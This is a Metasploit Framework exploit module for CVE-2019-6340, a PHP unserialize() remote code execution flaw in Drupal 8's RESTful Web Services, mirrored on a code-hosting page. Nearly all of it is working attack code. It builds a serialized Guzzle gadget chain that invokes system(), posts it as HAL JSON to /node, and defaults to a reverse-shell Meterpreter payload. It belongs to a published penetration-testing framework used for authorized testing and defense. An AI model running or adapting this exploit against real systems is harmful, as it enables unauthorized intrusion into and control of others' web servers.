Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/drupal_restws_unserialize.rb
32587 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
# NOTE: All (four) Web Services modules need to be enabled
9
Rank = NormalRanking
10
11
include Msf::Exploit::Remote::HTTP::Drupal
12
prepend Msf::Exploit::Remote::AutoCheck
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Drupal RESTful Web Services unserialize() RCE',
19
'Description' => %q{
20
This module exploits a PHP unserialize() vulnerability in Drupal RESTful
21
Web Services by sending a crafted request to the /node REST endpoint.
22
23
As per SA-CORE-2019-003, the initial remediation was to disable POST,
24
PATCH, and PUT, but Ambionics discovered that GET was also vulnerable
25
(albeit cached). Cached nodes can be exploited only once.
26
27
Drupal updated SA-CORE-2019-003 with PSA-2019-02-22 to notify users of
28
this alternate vector.
29
30
Drupal < 8.5.11 and < 8.6.10 are vulnerable.
31
},
32
'Author' => [
33
'Jasper Mattsson', # Discovery
34
'Charles Fol', # PoC
35
'Rotem Reiss', # Module
36
'wvu' # Module
37
],
38
'References' => [
39
['CVE', '2019-6340'],
40
['URL', 'https://www.drupal.org/sa-core-2019-003'],
41
['URL', 'https://www.drupal.org/psa-2019-02-22'],
42
['URL', 'https://www.ambionics.io/blog/drupal8-rce'],
43
['URL', 'https://github.com/ambionics/phpggc'],
44
['URL', 'https://twitter.com/jcran/status/1099206271901798400']
45
],
46
'DisclosureDate' => '2019-02-20',
47
'License' => MSF_LICENSE,
48
'Privileged' => false,
49
'Targets' => [
50
[
51
'PHP In-Memory',
52
{
53
'Platform' => 'php',
54
'Arch' => ARCH_PHP,
55
'Type' => :php_memory,
56
'Payload' => { 'BadChars' => "'" },
57
'DefaultOptions' => {
58
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
59
}
60
}
61
],
62
[
63
'Unix In-Memory',
64
{
65
'Platform' => 'unix',
66
'Arch' => ARCH_CMD,
67
'Type' => :unix_memory,
68
'DefaultOptions' => {
69
'PAYLOAD' => 'cmd/unix/generic',
70
'CMD' => 'id'
71
}
72
}
73
]
74
],
75
'DefaultTarget' => 0,
76
'Notes' => {
77
'AKA' => ['SA-CORE-2019-003'],
78
'Stability' => [CRASH_SAFE],
79
'SideEffects' => [IOC_IN_LOGS],
80
'Reliability' => [UNRELIABLE_SESSION] # When using the GET method
81
}
82
)
83
)
84
85
register_options([
86
OptEnum.new('METHOD', [
87
true, 'HTTP method to use', 'POST',
88
['GET', 'POST', 'PATCH', 'PUT']
89
]),
90
OptInt.new('NODE', [false, 'Node ID to target with GET method', 1]),
91
OptBool.new('DUMP_OUTPUT', [false, 'Dump payload command output', false])
92
])
93
end
94
95
def check
96
checkcode = CheckCode::Unknown
97
98
version = drupal_version
99
100
unless version
101
vprint_error('Could not determine Drupal version')
102
return checkcode
103
end
104
105
if version.to_s !~ /^8\b/
106
vprint_error("Drupal #{version} is not supported")
107
return CheckCode::Safe
108
end
109
110
vprint_status("Drupal #{version} targeted at #{full_uri}")
111
checkcode = CheckCode::Detected
112
113
changelog = drupal_changelog(version)
114
115
unless changelog
116
vprint_error('Could not determine Drupal patch level')
117
return checkcode
118
end
119
120
case drupal_patch(changelog, 'SA-CORE-2019-003')
121
when nil
122
vprint_warning('CHANGELOG.txt no longer contains patch level')
123
when true
124
vprint_warning('Drupal appears patched in CHANGELOG.txt')
125
checkcode = CheckCode::Safe
126
when false
127
vprint_good('Drupal appears unpatched in CHANGELOG.txt')
128
checkcode = CheckCode::Appears
129
end
130
131
# Any further with GET and we risk caching the targeted node
132
return checkcode if meth == 'GET'
133
134
# NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable
135
token = Rex::Text.rand_text_alphanumeric(8..42)
136
res = execute_command("echo #{token}")
137
138
return checkcode unless res
139
140
if res.body.include?(token)
141
vprint_good('Drupal is vulnerable to code execution')
142
checkcode = CheckCode::Vulnerable
143
end
144
145
checkcode
146
end
147
148
def exploit
149
if datastore['PAYLOAD'] == 'cmd/unix/generic'
150
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
151
# XXX: Naughty datastore modification
152
datastore['DUMP_OUTPUT'] = true
153
end
154
155
case target['Type']
156
when :php_memory
157
# XXX: This will spawn a *very* obvious process
158
execute_command("php -r '#{payload.encoded}'")
159
when :unix_memory
160
execute_command(payload.encoded)
161
end
162
end
163
164
def execute_command(cmd, _opts = {})
165
vprint_status("Executing with system(): #{cmd}")
166
167
# https://en.wikipedia.org/wiki/Hypertext_Application_Language
168
hal_json = JSON.pretty_generate(
169
'link' => [
170
'value' => 'link',
171
'options' => phpggc_payload(cmd)
172
],
173
'_links' => {
174
'type' => {
175
'href' => vhost_uri
176
}
177
}
178
)
179
180
print_status("Sending #{meth} to #{node_uri} with link #{vhost_uri}")
181
182
res = send_request_cgi({
183
'method' => meth,
184
'uri' => node_uri,
185
'ctype' => 'application/hal+json',
186
'vars_get' => { '_format' => 'hal_json' },
187
'data' => hal_json
188
}, 3.5)
189
190
return unless res
191
192
case res.code
193
# 401 isn't actually a failure when using the POST method
194
when 200, 401
195
print_line(res.body) if datastore['DUMP_OUTPUT']
196
if meth == 'GET'
197
print_warning('If you did not get code execution, try a new node ID')
198
end
199
when 404
200
print_error("#{node_uri} not found")
201
when 405
202
print_error("#{meth} method not allowed")
203
when 422
204
print_error('VHOST may need to be set')
205
when 406
206
print_error('Web Services may not be enabled')
207
else
208
print_error("Unexpected reply: #{res.inspect}")
209
end
210
211
res
212
end
213
214
# phpggc Guzzle/RCE1 system id
215
def phpggc_payload(cmd)
216
(
217
# http://www.phpinternalsbook.com/classes_objects/serialization.html
218
<<~EOF
219
O:24:"GuzzleHttp\\Psr7\\FnStream":2:{
220
s:33:"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{
221
s:5:"close";a:2:{
222
i:0;O:23:"GuzzleHttp\\HandlerStack":3:{
223
s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";
224
s:cmd_len:"cmd";
225
s:30:"\u0000GuzzleHttp\\HandlerStack\u0000stack";
226
a:1:{i:0;a:1:{i:0;s:6:"system";}}
227
s:31:"\u0000GuzzleHttp\\HandlerStack\u0000cached";
228
b:0;
229
}
230
i:1;s:7:"resolve";
231
}
232
}
233
s:9:"_fn_close";a:2:{
234
i:0;r:4;
235
i:1;s:7:"resolve";
236
}
237
}
238
EOF
239
).gsub(/\s+/, '').gsub('cmd_len', cmd.length.to_s).gsub('cmd', cmd)
240
end
241
242
def meth
243
datastore['METHOD'] || 'POST'
244
end
245
246
def node
247
datastore['NODE'] || 1
248
end
249
250
def node_uri
251
if meth == 'GET'
252
normalize_uri(target_uri.path, '/node', node)
253
else
254
normalize_uri(target_uri.path, '/node')
255
end
256
end
257
258
def vhost_uri
259
full_uri(
260
normalize_uri(target_uri.path, '/rest/type/shortcut/default'),
261
vhost_uri: true
262
)
263
end
264
265
end
266
267